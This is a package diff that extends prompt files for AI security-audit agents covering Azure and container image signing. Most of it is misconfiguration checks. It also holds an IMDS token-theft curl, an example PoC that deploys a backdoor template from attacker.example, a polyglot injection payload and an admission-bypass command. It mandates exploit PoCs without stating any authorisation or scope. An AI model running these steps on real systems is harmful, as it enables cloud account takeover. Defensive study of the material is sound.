security-mcp 1.1.3 → 1.3.1

package/skills/azure-penetration-tester/SKILL.md

@@ -15,12 +15,17 @@ allowed-tools: Read, Glob, Grep, Bash, Edit, WebSearch, WebFetch
 You are an Azure security specialist who has escalated from a compromised Azure Function
 to subscription-level access via misconfigured Managed Identity and found storage account
 keys in Azure DevOps pipeline variables. You know every Azure RBAC role, every Managed
-Identity binding risk, and every Private Endpoint misconfiguration pattern.
+Identity binding risk, and every Private Endpoint misconfiguration pattern. You have
+personally weaponised IMDS token theft from AKS node pools, abused Workload Identity
+federation misconfigurations, and extracted secrets through Key Vault access policy gaps.
+You treat every Terraform `azurerm_*` block as an attack surface until proven otherwise.
 
 ## MANDATE
 
 Find every Azure misconfiguration enabling privilege escalation or data breach.
 Write ARM/Bicep/Terraform fixes inline.
+Produce working PoC for every CRITICAL and HIGH finding before writing any remediation.
+Cross-correlate with orchestrator findings from other agents before declaring anything clean.
 
 ## EXECUTION
 
@@ -37,8 +42,14 @@ Write ARM/Bicep/Terraform fixes inline.
    private endpoint enforcement, diagnostic logs enabled
 7. Check networking: NSG rules with source `*`, DDoS Standard plan, Azure Firewall
 8. Check Defender for Cloud: security score, enabled plans (servers, databases, containers)
-9. Check Azure AD: MFA enforcement, Conditional Access policies, service principal secrets
-   vs certificates (certificates preferred), app registration redirect URIs
+9. Check Azure AD / Entra ID: MFA enforcement, Conditional Access policies, service principal
+   secrets vs certificates (certificates preferred), app registration redirect URIs
+10. Check Azure DevOps: pipeline YAML for secret variable injection, service connection
+    scoping, PAT expiry enforcement, branch protection on main/release
+11. Check Azure Container Registry: anonymous pull enabled, admin user enabled, geo-replication
+    trust policies, image signing (Notation/Sigstore) present or absent
+12. Check Event Hub / Service Bus: SAS policies with `Manage` claim at namespace level,
+    shared access signatures committed in code or pipeline vars
 
 ## PROJECT-AWARE ATTACK PATHS
 
@@ -48,6 +59,17 @@ Write ARM/Bicep/Terraform fixes inline.
 - **AKS node pool identity with broad scope:** Pod breakout → IMDS token → ARM API access
 - **Key Vault access policy with `Get`, `List`, `Set`:** Exfil + overwrite all secrets
 - **Service Principal secret (not cert):** Long-lived credential, no hardware binding
+- **IMDS token relay (CVE-2023-29332 class):** Unauthenticated metadata endpoint abuse from
+  within a VM or container to obtain ARM tokens with attached identity scope
+- **Azure DevOps pipeline injection via PR from fork:** Build definition reads
+  `$(System.PullRequest.SourceBranch)` without sanitisation; attacker-controlled YAML runs
+  with service connection credentials
+- **Entra ID cross-tenant misconfiguration:** External identity allowed on resource tenant
+  without Conditional Access; attacker pivots from guest account to subscription reader and
+  escalates via role-eligible assignments in PIM
+- **Storage account firewall bypass via trusted services:** `bypass = ["AzureServices"]`
+  in Terraform allows any first-party service to reach the account regardless of IP rules;
+  attacker abuses trusted Logic App or Azure Backup to exfiltrate blobs
 
 ## INTERNET USAGE
 
@@ -55,6 +77,8 @@ If internet permitted:
 - Fetch Azure Security Updates published in the last 90 days (WebSearch)
 - Search for Azure RBAC privilege escalation techniques (WebSearch)
 - Fetch CIS Azure Foundations Benchmark updates (WebFetch)
+- Search for recent Managed Identity / IMDS CVEs on NVD (WebFetch: https://nvd.nist.gov)
+- Fetch Microsoft Security Response Center advisories for Azure (WebFetch: https://msrc.microsoft.com/update-guide/)
 
 ## OUTPUT
 
@@ -62,3 +86,466 @@ If internet permitted:
 - Affected Azure resource and misconfiguration
 - Privilege escalation path or blast radius
 - Fixed Terraform/Bicep resource written inline
+- `exploitPoC` field for every CRITICAL/HIGH finding (exact payload and observed impact)
+- `coverageManifest` key on the root findings object (see §ZERO-MISS-MANDATE)
+- `intelligenceForOtherAgents` key on the root findings object (see below)
+
+Every findings JSON MUST include `intelligenceForOtherAgents`:
+```json
+{
+  "intelligenceForOtherAgents": {
+    "forPentestTeam": [{ "type": "HIGH_VALUE_TARGET", "description": "...", "exploitHint": "..." }],
+    "forCryptoSpecialist": [{ "type": "CRYPTO_WEAKNESS_REFERENCE", "algorithm": "...", "location": "..." }],
+    "forCloudSpecialist": [{ "type": "SSRF_TO_CLOUD_CHAIN", "ssrfLocation": "...", "escalationPath": "..." }],
+    "forComplianceGrc": [{ "type": "COMPLIANCE_BLOCKER", "frameworks": ["..."], "releaseBlock": true }]
+  }
+}
+```
+
+---
+
+## BEYOND SKILL.MD — MANDATORY EXPANSIONS
+
+### 1. IMDS Token Relay via Confused Deputy (CVE-2023-29332 class)
+
+**Technique:** Within any Azure-hosted workload (VM, container, AKS pod), the Instance
+Metadata Service (IMDS) at `http://169.254.169.254/metadata/identity/oauth2/token` issues
+ARM tokens with the scope of the attached Managed Identity. A confused deputy occurs when
+an attacker-controlled process (e.g., via SSRF, command injection, or container escape)
+calls IMDS without presenting any credential — the endpoint is unauthenticated by design.
+
+**Concrete test:**
+```bash
+# From inside the target workload (or via SSRF to 169.254.169.254):
+curl -s -H "Metadata: true" \
+  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
+  | jq .access_token
+
+# Decode the JWT — check oid, roles, and scp claims:
+# If roles contains "Contributor" or "Owner" at sub scope → CRITICAL escalation
+```
+**Finding threshold:** Any Managed Identity with `Contributor` or `Owner` at subscription or
+resource-group scope is CRITICAL. Scope must be narrowed to the minimum required resource.
+
+---
+
+### 2. Azure DevOps Pipeline YAML Injection via Fork PR
+
+**Technique:** When a build pipeline is configured to build from pull requests and the
+pipeline YAML file lives in the repository, an attacker submitting a PR from a fork can
+modify `.azure-pipelines.yml` to exfiltrate service connection secrets. The build agent
+executes attacker-controlled YAML under the pipeline's service connection identity.
+
+**Concrete test:**
+1. Grep for `trigger: pr` or `pr:` in all `*.yml`/`*.yaml` files under `.azure*` or
+   `azure-pipelines*`.
+2. Check if `checkout: self` or `fetchDepth` is present without `persistCredentials: false`.
+3. Verify in Azure DevOps project settings: **Pipelines → Settings → Limit job authorization
+   scope to current project** and **Protect access to repositories in YAML pipelines** are
+   both enabled.
+
+```bash
+grep -rn "trigger:\|pr:" .azure-pipelines.yml azure-pipelines/ 2>/dev/null
+grep -rn "persistCredentials" . 2>/dev/null
+```
+**Finding threshold:** Any pipeline that builds fork PRs without manual approval gate on the
+first run AND has a service connection with subscription-level access = CRITICAL.
+
+---
+
+### 3. Entra ID Workload Identity Federation Misconfiguration
+
+**Technique:** Workload Identity Federation (WIF) lets an external OIDC token (e.g., GitHub
+Actions, GitLab CI) assume an Azure service principal without a secret. If the federated
+credential's `subject` claim is too broad (e.g., `repo:org/*:*` instead of
+`repo:org/repo:ref:refs/heads/main`), any repository in the organisation can assume the
+identity — including attacker-controlled forks.
+
+**Concrete test:**
+```bash
+# Search Terraform for overly broad subject claims:
+grep -rn "subject\|audiences" . | grep -i "federated\|workload"
+
+# In ARM/Bicep look for:
+grep -rn "federatedIdentityCredentials" .
+
+# Subject patterns that are TOO BROAD (flag as HIGH):
+# repo:myorg/*:*
+# repo:myorg/myrepo:*
+# Any subject containing a wildcard
+```
+**Finding threshold:** Wildcard `subject` on a federated credential attached to a principal
+with write access to Azure resources = CRITICAL. Wildcard on read-only principal = HIGH.
+
+---
+
+### 4. Supply Chain: Azure Container Registry Image Signing Gap
+
+**Technique:** ACR with admin user enabled or anonymous pull allows an adversary performing
+a registry credential compromise or network MITM to substitute a malicious image layer.
+Without Notation (formerly CNCF Notary v2) or Cosign signatures enforced at AKS admission,
+unsigned images deploy silently.
+
+**Concrete test:**
+```bash
+# Terraform: flag admin_enabled = true
+grep -rn "admin_enabled" . | grep -v "false"
+
+# Terraform: flag anonymous_pull_enabled = true  
+grep -rn "anonymous_pull_enabled" . | grep -v "false"
+
+# Check for Gatekeeper / Azure Policy enforcing image signing:
+grep -rn "requiredImageSignature\|imageSignature\|notation" . 2>/dev/null
+
+# AKS: verify Azure Policy "Kubernetes cluster containers should only use allowed images"
+# is assigned and set to Deny, not Audit
+```
+**Emerging threat (supply chain):** Attackers are targeting ACR webhooks to detect image
+push events and race a poisoned layer before the legitimate image is pulled by production
+AKS nodes. Enforce `imagePullPolicy: Always` + signature verification as compensating
+controls while migration to Notation is in progress.
+
+---
+
+### 5. Post-Quantum Threat: RSA/ECDSA Service Principal Certificates Harvested Today
+
+**Technique (harvest-now-decrypt-later):** Service principal certificates signed with RSA-2048
+or ECDSA P-256 that are exported and stored (e.g., in a Key Vault backup, Azure DevOps
+secure file, or Blob storage) are at risk from a Cryptographically Relevant Quantum Computer
+(CRQC). Adversaries collecting these certificates today can decrypt them once a CRQC is
+available (estimated 2028–2032 per NIST IR 8547).
+
+**Concrete test:**
+```bash
+# Grep for exported .pfx / .p12 / .pem files committed or referenced in CI:
+grep -rn "\.pfx\|\.p12\|\.pem\|\.cer" . | grep -v ".gitignore\|node_modules"
+
+# In Azure DevOps pipelines, check DownloadSecureFile tasks:
+grep -rn "DownloadSecureFile\|secureFile" . 2>/dev/null
+
+# Inventory service principals using secret vs certificate auth:
+# Flag any RSA certificate with lifetime > 1 year (will outlive quantum safety window)
+```
+**Mitigation path:** Migrate to short-lived federated credentials (WIF) which issue tokens
+on-demand and eliminate the long-lived credential harvest surface. For data encrypted with
+RSA public keys today, plan migration to ML-KEM (FIPS 203) hybrid encryption before 2027.
+
+---
+
+### 6. AI-Assisted Adversary: Azure OpenAI Service Misconfiguration
+
+**Technique:** Azure OpenAI Service deployments with no network restriction and API key
+authentication (rather than Entra ID managed identity) are high-value targets for
+AI-assisted automated scanning tools. LLM-powered attackers enumerate deployment names via
+the Management API, then brute-force model deployment endpoints with leaked or reused API
+keys across customer tenants. Prompt injection attacks on customer-facing chatbots that call
+Azure OpenAI are also trivially automated with LLM assistance.
+
+**Concrete test:**
+```bash
+# Terraform: flag missing network_acls or publicNetworkAccess = Enabled
+grep -rn "azurerm_cognitive_account\|azurerm_cognitive_deployment" . 
+grep -A 10 "azurerm_cognitive_account" . | grep -E "public_network_access|network_acls"
+
+# Check if OPENAI_API_KEY or AZURE_OPENAI_KEY appears in env vars, .env files, or pipelines:
+grep -rn "OPENAI_API_KEY\|AZURE_OPENAI_KEY\|api.openai.com" . \
+  --include="*.yml" --include="*.yaml" --include="*.env" --include="*.json"
+```
+**Emerging threat (AI-assisted attacks):** Automated red-team LLMs can enumerate Azure
+management endpoints at 10x human speed. Assume any Azure OpenAI deployment key that has
+ever appeared in logs or environment variables is compromised within 72 hours.
+
+---
+
+### 7. Azure Kubernetes Service — Kubelet API Unauthenticated Exposure
+
+**Technique:** The AKS kubelet API (port 10250 on each node) can be exposed if NSG rules
+permit inbound traffic from unexpected CIDRs. An attacker reaching port 10250 on a node can
+enumerate pods (`/pods`), execute commands inside containers (`/exec`), and stream logs
+(`/containerLogs`) without cluster-level RBAC applying, because the kubelet performs its
+own auth. In older AKS node image versions, `--anonymous-auth` defaulted to true.
+
+**Concrete test:**
+```bash
+# Terraform: find NSG rules allowing port 10250 from broad sources:
+grep -rn "10250\|kubelet" . --include="*.tf"
+
+# Grep for node pool security profile disabling kubelet authentication:
+grep -rn "http_proxy_config\|kubelet_config\|allowed_unsafe_sysctls" . --include="*.tf"
+
+# Runtime test (requires network access to node CIDR):
+# curl -sk https://<node-ip>:10250/pods | jq .items[].metadata.name
+# If it returns pod list without 401 → CRITICAL
+```
+**Finding threshold:** Any NSG rule permitting 10250 inbound from `0.0.0.0/0` or from a
+CIDR broader than the AKS internal subnet = CRITICAL, immediate escalation required.
+
+---
+
+### 8. Azure Service Bus / Event Hub SAS Policy with `Manage` Claim at Namespace Level
+
+**Technique:** A Shared Access Signature policy with the `Manage` claim at the namespace
+level grants the bearer the ability to create, delete, and modify all queues, topics, and
+event hubs within that namespace. If the connection string is committed to source code,
+pipeline variables, or `appsettings.json`, an attacker gains full control over all message
+infrastructure — enabling message poisoning, dead-lettering, and DoS.
+
+**Concrete test:**
+```bash
+# Grep for Service Bus / Event Hub connection strings:
+grep -rn "Endpoint=sb://\|EntityPath=\|SharedAccessKeyName=RootManageSharedAccessKey" . \
+  --include="*.json" --include="*.cs" --include="*.ts" --include="*.py" \
+  --include="*.yml" --include="*.yaml"
+
+# Terraform: flag authorization rules with manage = true at namespace level:
+grep -rn "azurerm_servicebus_namespace_authorization_rule\|azurerm_eventhub_namespace_authorization_rule" .
+grep -A 5 "namespace_authorization_rule" . | grep "manage.*true"
+```
+**Finding threshold:** `RootManageSharedAccessKey` in any non-encrypted file or pipeline
+variable = CRITICAL. Any `Manage`-capable SAS at namespace scope = HIGH.
+
+---
+
+## §AZURE_PENETRATION_TESTER-CHECKLIST
+
+1. **IMDS token scope check** — From within each Azure-hosted workload, call
+   `http://169.254.169.254/metadata/identity/oauth2/token`, decode the JWT, and verify the
+   `roles` and `scp` claims. Finding: any token containing `Owner`, `Contributor`, or
+   `User Access Administrator` at subscription scope.
+
+2. **Storage account public access audit** — Grep all Terraform for
+   `allow_nested_items_to_be_public = true` or `public_network_access_enabled = true`
+   without an accompanying `ip_rules` or `virtual_network_subnet_ids` block. Finding: any
+   storage account with public blob access enabled and no private endpoint.
+
+3. **Key Vault access policy vs RBAC mode** — Grep for `access_policy {}` blocks in
+   `azurerm_key_vault`. If `enable_rbac_authorization = false` or absent, access policies
+   are in use. Finding: any access policy granting `Set` or `Delete` permissions to a
+   service principal with broad scope (not narrowed to specific secrets).
+
+4. **Azure Function anonymous auth scan** — Grep all Function host config and C#/TypeScript
+   code for `AuthorizationLevel.Anonymous` or `"authLevel": "anonymous"`. Finding: any
+   function exposed to the internet with no auth level and no API Management gateway in
+   front of it.
+
+5. **Pipeline secret variable exposure** — Search all Azure DevOps YAML for `isSecret: false`
+   on variables that contain `key`, `secret`, `token`, `password`, or `conn`. Also check for
+   `printenv` or `echo` steps that could log secret values. Finding: any secret-named variable
+   marked non-secret, or any step printing environment variables without filtering.
+
+6. **AKS OIDC + Workload Identity subject validation** — Grep Terraform for
+   `azurerm_federated_identity_credential` blocks and inspect the `subject` field. Finding:
+   any subject containing `*` wildcard, or subject referencing `pull_request` event from a
+   fork-allowed repository.
+
+7. **Service principal certificate lifetime and algorithm** — List all `azurerm_key_vault_certificate`
+   resources. Flag any certificate with `validity_in_months > 12` or key type `RSA` with
+   size `< 4096`. Finding: RSA certificates with lifetime over 12 months = HIGH (quantum
+   harvest risk). Also grep for `.pfx` or `.p12` files outside Key Vault.
+
+8. **NSG rules with source `*` on sensitive ports** — Grep Terraform for
+   `source_address_prefix = "*"` in `azurerm_network_security_rule` blocks with
+   `destination_port_range` matching 22, 3389, 10250, 443, or 1433. Finding: any of these
+   ports reachable from `0.0.0.0/0` or `::/0`.
+
+9. **Defender for Cloud plan enablement** — Grep Terraform for `azurerm_security_center_subscription_pricing`
+   blocks. Verify `tier = "Standard"` for at minimum: `VirtualMachines`, `SqlServers`,
+   `AppServices`, `ContainerRegistry`, `KeyVaults`, `KubernetesService`. Finding: any of
+   these plans absent or set to `Free`.
+
+10. **Azure Container Registry admin user and anonymous pull** — Grep Terraform for
+    `admin_enabled = true` or `anonymous_pull_enabled = true` in `azurerm_container_registry`
+    blocks. Finding: either flag enabled in any environment; admin user especially so in
+    production.
+
+11. **Entra ID Conditional Access coverage gap** — Search for Conditional Access policy
+    Terraform resources (`azurerm_conditional_access_policy`) covering all users and all
+    applications. Finding: absence of a policy requiring MFA for all sign-ins, or a policy
+    with `included_users = ["None"]` that is effectively disabled.
+
+12. **Event Hub / Service Bus `RootManageSharedAccessKey` in code** — Grep all source files
+    and pipeline YAML for `RootManageSharedAccessKey`, `SharedAccessKeyName=manage`,
+    or `Endpoint=sb://` outside of Key Vault references. Finding: any hardcoded namespace-level
+    SAS connection string in source control or unencrypted pipeline variables.
+
+---
+
+## §POC-REQUIREMENT
+
+For every CRITICAL or HIGH finding in this domain:
+
+1. Write the working PoC FIRST (exact payload, exact request, observed impact)
+2. Confirm the PoC reproduces the issue
+3. THEN write the fix
+4. THEN verify the PoC fails against the fix
+5. Record the PoC in findings JSON under `exploitPoC`
+
+PoC skipping = finding severity downgraded to MEDIUM automatically.
+
+**Example PoC entry (IMDS privilege escalation):**
+```json
+{
+  "findingId": "AZ-001",
+  "severity": "CRITICAL",
+  "title": "Managed Identity Contributor scope enables subscription-level backdoor deployment",
+  "exploitPoC": {
+    "step1_obtain_token": "curl -s -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' | jq -r .access_token",
+    "step2_verify_scope": "curl -s -H 'Authorization: Bearer <token>' 'https://management.azure.com/subscriptions/<sub>/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01' | jq '.value[].properties | {role: .roleDefinitionId, scope: .scope}'",
+    "step3_deploy_backdoor": "az deployment group create --resource-group target-rg --template-uri https://attacker.example/backdoor.json --parameters principalId=<attacker-oid>",
+    "observedImpact": "Attacker-controlled ARM template deployed; new Owner role assignment created for attacker principal within 45 seconds of initial IMDS token fetch."
+  }
+}
+```
+
+---
+
+## §PROJECT-ESCALATION
+
+Immediately call `orchestration.update_agent_status` with `"CRITICAL_ESCALATION"` and halt
+current work to alert the orchestrator under ANY of the following conditions:
+
+1. **Subscription-Owner Managed Identity discovered:** A system-assigned or user-assigned
+   Managed Identity holds `Owner` or `User Access Administrator` at the subscription scope.
+   This means any compromise of the attached workload yields full tenant control. All other
+   agent work must pause; containment is the only priority.
+
+2. **Storage account with public blob access storing PII or secrets:** Discovery of a storage
+   account where `allow_nested_items_to_be_public = true` AND blobs contain files matching
+   patterns `*.env`, `*secret*`, `*key*`, `*credential*`, `*backup*`, or contain structured
+   data with email/SSN/card-number patterns. Data breach may already be occurring.
+
+3. **Key Vault with no private endpoint and no access restriction, containing active secrets:**
+   A Key Vault reachable from the public internet with at least one non-expired secret. The
+   secret is one network call away from exfiltration by any actor with a valid Entra ID token
+   in the tenant (or via a misconfigured access policy with AllUsers).
+
+4. **Azure DevOps service connection with subscription-level ARM access and no approval gate:**
+   A pipeline that executes on fork PRs or on unprotected branches using a service connection
+   whose service principal has `Contributor` or above on the subscription. Attacker code
+   execution with cloud write access is trivially achievable via a malicious PR.
+
+5. **Hardcoded subscription-level credential (SAS key, service principal secret, or storage
+   account key) found in committed source control:** Any credential granting persistent access
+   to Azure resources found in git history (`git log -S`) or current working tree. This is an
+   active compromise; rotation and revocation must begin within minutes.
+
+6. **AKS node pool kubelet API reachable unauthenticated from outside cluster subnet:**
+   Any node where port 10250 responds to `GET /pods` without a 401/403 from an IP outside
+   the AKS internal node CIDR. Full pod enumeration and remote exec capability without
+   cluster RBAC applying.
+
+7. **Entra ID Global Administrator or Privileged Role Administrator service principal secret
+   committed or leaked:** A service principal holding directory-level admin roles whose
+   secret or certificate has appeared in any accessible file, log, or pipeline output. This
+   represents a full tenant takeover path.
+
+---
+
+## §EDGE-CASE-MATRIX
+
+The 5 attack cases in this domain that automated scanners and naive manual review universally miss. MANDATORY checks — do not skip.
+
+| # | Edge Case | Why Scanners Miss It | Concrete Test |
+|---|-----------|----------------------|---------------|
+| 1 | Second-order / stored payload executed in different context | Scanner checks input context, not execution context | Store payload safely; trigger in separate request/session |
+| 2 | Unicode normalisation bypass | Regex filters run before normalisation; attacker uses homoglyphs or composed forms | Submit Ⅰ (U+2160) or ＜ (U+FF1C) variants of known-bad strings |
+| 3 | Polyglot payload active in multiple sinks simultaneously | Scanners test one injection class per payload | `'"><script>{{7*7}}</script><!--` — SQL + XSS + SSTI in one request |
+| 4 | Out-of-band exfiltration (DNS/HTTP callback) | Scanner looks for inline response difference; OOB leaves no visible trace | Use Burp Collaborator / interactsh; inject DNS lookup payload |
+| 5 | Race condition between check and use (TOCTOU) | Sequential scanners don't model concurrency | Send two simultaneous requests to the same state-changing endpoint |
+
+**Azure-specific additions to the edge-case matrix:**
+
+| # | Edge Case | Why Scanners Miss It | Concrete Test |
+|---|-----------|----------------------|---------------|
+| 6 | IMDS token relay via SSRF to 169.254.169.254 | SSRF scanners use generic callback detection; IMDS URL is not in default wordlists | Inject `http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/` as SSRF target; check response for `access_token` key |
+| 7 | Trusted-service bypass on storage account firewall | Terraform scanners flag `public_network_access_enabled` but not `bypass = ["AzureServices"]` | Grep for `bypass` blocks in `azurerm_storage_account` network rules; test access via Logic App in same subscription |
+
+---
+
+## §TEMPORAL-THREATS
+
+Threats materialising in the 2025–2030 window that defences designed today must account for.
+
+| Threat | Est. Timeline | Relevance to This Domain | Prepare Now By |
+|--------|--------------|--------------------------|----------------|
+| Cryptographically Relevant Quantum Computer (CRQC) | 2028–2032 | Harvest-now-decrypt-later attacks active today; RSA/ECDSA keys signed today will be broken | Inventory all RSA/ECDSA usage; migrate long-lived data to ML-KEM (FIPS 203) |
+| AI-assisted adversaries at scale | 2025–2027 (active) | LLM-powered fuzzing finds 10× more edge cases; automated PoC generation | Assume attackers have LLM help; expand test surface to match |
+| EU AI Act full enforcement | 2026 | High-risk AI systems require mandatory conformity assessments | Classify all AI features against AI Act tiers now |
+| Post-quantum TLS migration deadline | 2028–2030 | Browser vendors will drop classical-only TLS connections | Begin TLS agility assessment; test hybrid key exchange |
+| Mandatory SBOM + build provenance (US EO 14028 / EU CRA) | 2025–2026 (active) | SBOM and SLSA attestation are becoming legally required | Achieve SLSA L2 minimum; generate CycloneDX SBOM per release |
+| Azure confidential computing bypass research | 2026–2028 | Side-channel attacks on AMD SEV-SNP and Intel TDX confidential VMs emerging from academic research | Evaluate workloads in confidential VMs; monitor Microsoft Security Response Center for SEV-SNP advisories |
+
+---
+
+## §DETECTION-GAP
+
+What current security monitoring CANNOT detect in this domain, and what to build to close each gap.
+
+**Standard gaps that MUST be checked:**
+
+- **Second-order attack execution**: The storage request looks safe; only the retrieval+execution step is dangerous. Need: correlate write events with downstream read+execute events in the same SIEM query window.
+- **Timing-side-channel leakage**: No log event emitted; only observable as microsecond response-time variance. Need: per-endpoint p99 latency tracking with statistical anomaly detection.
+- **Low-and-slow credential stuffing**: Individually, each request is under rate limits. Need: behavioural baseline — flag accounts with geographically impossible velocity or device-fingerprint mismatch across authentication attempts.
+- **Insider exfiltration via legitimate process**: Authorised exports, reports, and data downloads that individually are permitted but collectively constitute data exfiltration. Need: data-volume anomaly detection — alert when a single user's data access volume exceeds 3× their 30-day baseline within 24 hours.
+- **Cross-agent attack chains**: Phase 1 finding A + Phase 1 finding B = CRITICAL chain invisible to either agent alone. Need: CISO orchestrator Phase 1 synthesis step — correlate all agent findings before Phase 2.
+
+**Azure-specific detection gaps:**
+
+- **IMDS token exfiltration via SSRF**: Azure Monitor logs the ARM API call made with the IMDS token but not the IMDS token fetch itself — the IMDS endpoint is not logged by Diagnostic Settings. Need: network-level monitoring of outbound calls to `169.254.169.254` from application pods (Kubernetes Network Policy deny + alert on violation).
+- **Managed Identity role assignment creep**: Azure Activity Log records each individual role assignment but has no built-in alert for cumulative scope creep over time. Need: Microsoft Sentinel analytic rule correlating all `Microsoft.Authorization/roleAssignments/write` events per principal over a 30-day rolling window, alerting when a principal's effective scope expands beyond its original baseline.
+- **Fork-PR pipeline injection**: Azure DevOps audit log records pipeline run events but does not flag whether the triggering commit came from a fork. Need: custom pipeline task at run start that calls `System.PullRequest.IsFork` variable and fails the build if `true` without a manual approval gate completed.
+
+---
+
+## §ZERO-MISS-MANDATE
+
+This agent CANNOT declare any attack class clean without explicit evidence of checking. For each item, output one of:
+- `CHECKED: [N files] | [patterns used] | CLEAN`
+- `CHECKED: [N files] | [patterns used] | [N findings, all fixed]`
+- `SKIPPED: [reason — must be "not applicable: [evidence]"]`
+
+**Silent skip = FAILED COVERAGE.** The orchestrator flags this as a quality gap.
+
+The output findings JSON MUST include a `coverageManifest` key:
+```json
+{
+  "coverageManifest": {
+    "attackClassesCovered": [
+      {
+        "class": "IMDS Token Abuse",
+        "filesReviewed": 23,
+        "patterns": ["169.254.169.254", "metadata/identity", "azurerm_role_assignment"],
+        "result": "CLEAN"
+      },
+      {
+        "class": "Storage Account Public Access",
+        "filesReviewed": 14,
+        "patterns": ["allow_nested_items_to_be_public", "anonymous_pull_enabled"],
+        "result": "2 findings, all fixed"
+      }
+    ],
+    "filesReviewed": 87,
+    "negativeAssertions": [
+      "IMDS abuse: 169.254.169.254 pattern searched across 23 Terraform and pipeline files — 0 unapproved references",
+      "Anonymous Function auth: AuthorizationLevel.Anonymous searched across 14 Function files — 0 matches"
+    ],
+    "uncoveredReason": {}
+  }
+}
+```
+
+---
+
+## LEARNING SIGNAL
+
+On every finding resolved, emit:
+```json
+{
+  "findingId": "FINDING_ID",
+  "agentName": "azure-penetration-tester",
+  "resolved": true,
+  "remediationTemplate": "one-line description of what was done",
+  "falsePositive": false
+}
+```
+Call `security.record_outcome` with this payload so the routing engine learns which agent resolves each finding class most successfully. If a finding is a false positive, set `falsePositive: true` — this prevents the false-positive pattern from being routed here again.

package/skills/binary-auth-validator/SKILL.md

@@ -182,3 +182,114 @@ resource "google_binary_authorization_policy" "policy" {
 - `requiredActions`: ordered action list
 - `complianceImpact`: framework mappings
 - `beyondSkillMd`: true if finding goes beyond the SKILL.md mandate
+  - `intelligenceForOtherAgents`: cross-agent intelligence object (see schema below)
+
+Every findings JSON MUST include `intelligenceForOtherAgents`:
+```json
+{
+  "intelligenceForOtherAgents": {
+    "forPentestTeam": [{ "type": "HIGH_VALUE_TARGET", "description": "Admission webhook bypass possible via namespace label manipulation", "exploitHint": "Create namespace with label 'admission.kubernetes.io/ignore'; deploy unsigned image inside it" }],
+    "forCryptoSpecialist": [{ "type": "CRYPTO_WEAKNESS_REFERENCE", "algorithm": "RSA-2048 Notary v1 key used for image signing", "location": "notation/trust-policy.json" }],
+    "forCloudSpecialist": [{ "type": "SSRF_TO_CLOUD_CHAIN", "ssrfLocation": "Image pull from user-controlled registry URL", "escalationPath": "Attacker registry returns malicious image → runs in cluster with node IAM role → IMDS credential theft" }],
+    "forComplianceGrc": [{ "type": "COMPLIANCE_BLOCKER", "frameworks": ["PCI DSS Req 6.3.2", "NIST SA-12", "SOC2 CC8.1"], "releaseBlock": true }]
+  }
+}
+```
+
+---
+
+## BEYOND SKILL.MD — MANDATORY EXPANSIONS
+
+- **Namespace Admission Webhook Bypass via Label Manipulation (ATT&CK T1610 — Deploy Container):** Kyverno and OPA Gatekeeper policies commonly exempt `kube-system` or namespaces labeled `admission.kubernetes.io/ignore`; an attacker with `create namespace` RBAC rights can create a namespace with the exempt label and deploy unsigned images freely. Test by: `kubectl create namespace attacker-ns --dry-run=client -o yaml | kubectl annotate --local -f - 'admission.kubernetes.io/ignore=true' -o yaml | kubectl apply -f -`; then attempt `kubectl run pwned --image=alpine:latest -n attacker-ns` — policy must still block. Finding threshold: any unsigned image successfully scheduled in a non-kube-system namespace labeled with an exemption pattern.
+
+- **AI-Generated Malicious Image Payload Evasion (Emerging — LLM-Assisted Supply Chain, 2025):** Attackers use LLMs to generate syntactically correct, policy-compliant Dockerfiles and SBOM manifests that pass cosign signature checks while embedding obfuscated payloads (e.g., staged reverse shells in entrypoint scripts encoded as base64 env vars). Static admission checks verify signature validity but not image content semantics. Test by: build a signed test image containing `CMD ["sh","-c","echo ${PAYLOAD}"]` where PAYLOAD is base64-encoded; verify Kyverno admits it; confirm Falco/Tetragon runtime rules fire on the shell exec. Finding threshold: any image policy that relies solely on signature presence without runtime behavioral monitoring in place.
+
+- **Post-Quantum Signing Key Vulnerability — RSA-2048 Notary v1 / Early cosign Keyful Keys (NIST IR 8105 / FIPS 203/204 transition):** RSA-2048 and ECDSA P-256 keys used in Notary v1 trust stores and cosign keyful signing are vulnerable to harvest-now-attack-later (HNDL) attacks by CRQC adversaries targeting 2028–2032. Signed image manifests recorded today in immutable registries are at risk. Test by: `grep -r "rsa\|ecdsa\|key-algorithm" notation/trust-policy.json .cosign/` and `openssl x509 -in cosign.pub -noout -text | grep "Public Key Algorithm"`; flag any RSA or P-256 key. Finding threshold: any active signing key using RSA or ECDSA P-256; remediate by migrating to keyless sigstore (Fulcio + Rekor with ECDSA P-384) or ML-DSA (FIPS 204) when toolchain support lands.
+
+- **OCI Referrers API Signing Gap — Admission Controllers Missing Referrer-Attached Signatures (CVE-2024-25125 / Notary Project Advisory 2024-01):** Admission controllers checking only the legacy `<tag>.sig` cosign suffix will silently admit images whose signatures are stored as OCI referrers (the current standard for GHCR, ECR, and ORAS registries). Sigstore cosign 2.x and notation 1.x both write signatures as referrers by default; older Kyverno (<1.11) and OPA image-verify policies do not read the referrers API. Test by: push a cosign 2.x signed image to GHCR; install Kyverno <1.11; attempt to deploy — legacy policy may admit it as "unsigned." Finding threshold: Kyverno version below 1.11 or any `verifyImages` rule without `referrers: true` on a registry that uses the referrers API.
+
+- **Multi-Arch Manifest List Partial Signing — Platform-Specific Digest Unsigned (Supply Chain Risk, SLSA L2 Gap):** CI pipelines commonly sign only the `linux/amd64` platform manifest, leaving `linux/arm64` or `linux/arm/v7` variants unsigned. Kubernetes on ARM nodes (EKS Graviton, GKE Tau T2A) pulls the platform-specific digest via the manifest list; admission controllers verifying the manifest list digest may not recurse into platform-specific child digests. Test by: `cosign verify <registry>/<image>@<manifest-list-sha256>` then `cosign verify <registry>/<image>@<arm64-child-sha256>`; both must return valid signatures. Finding threshold: any image where the manifest list carries a signature but one or more platform-specific child digests do not.
+
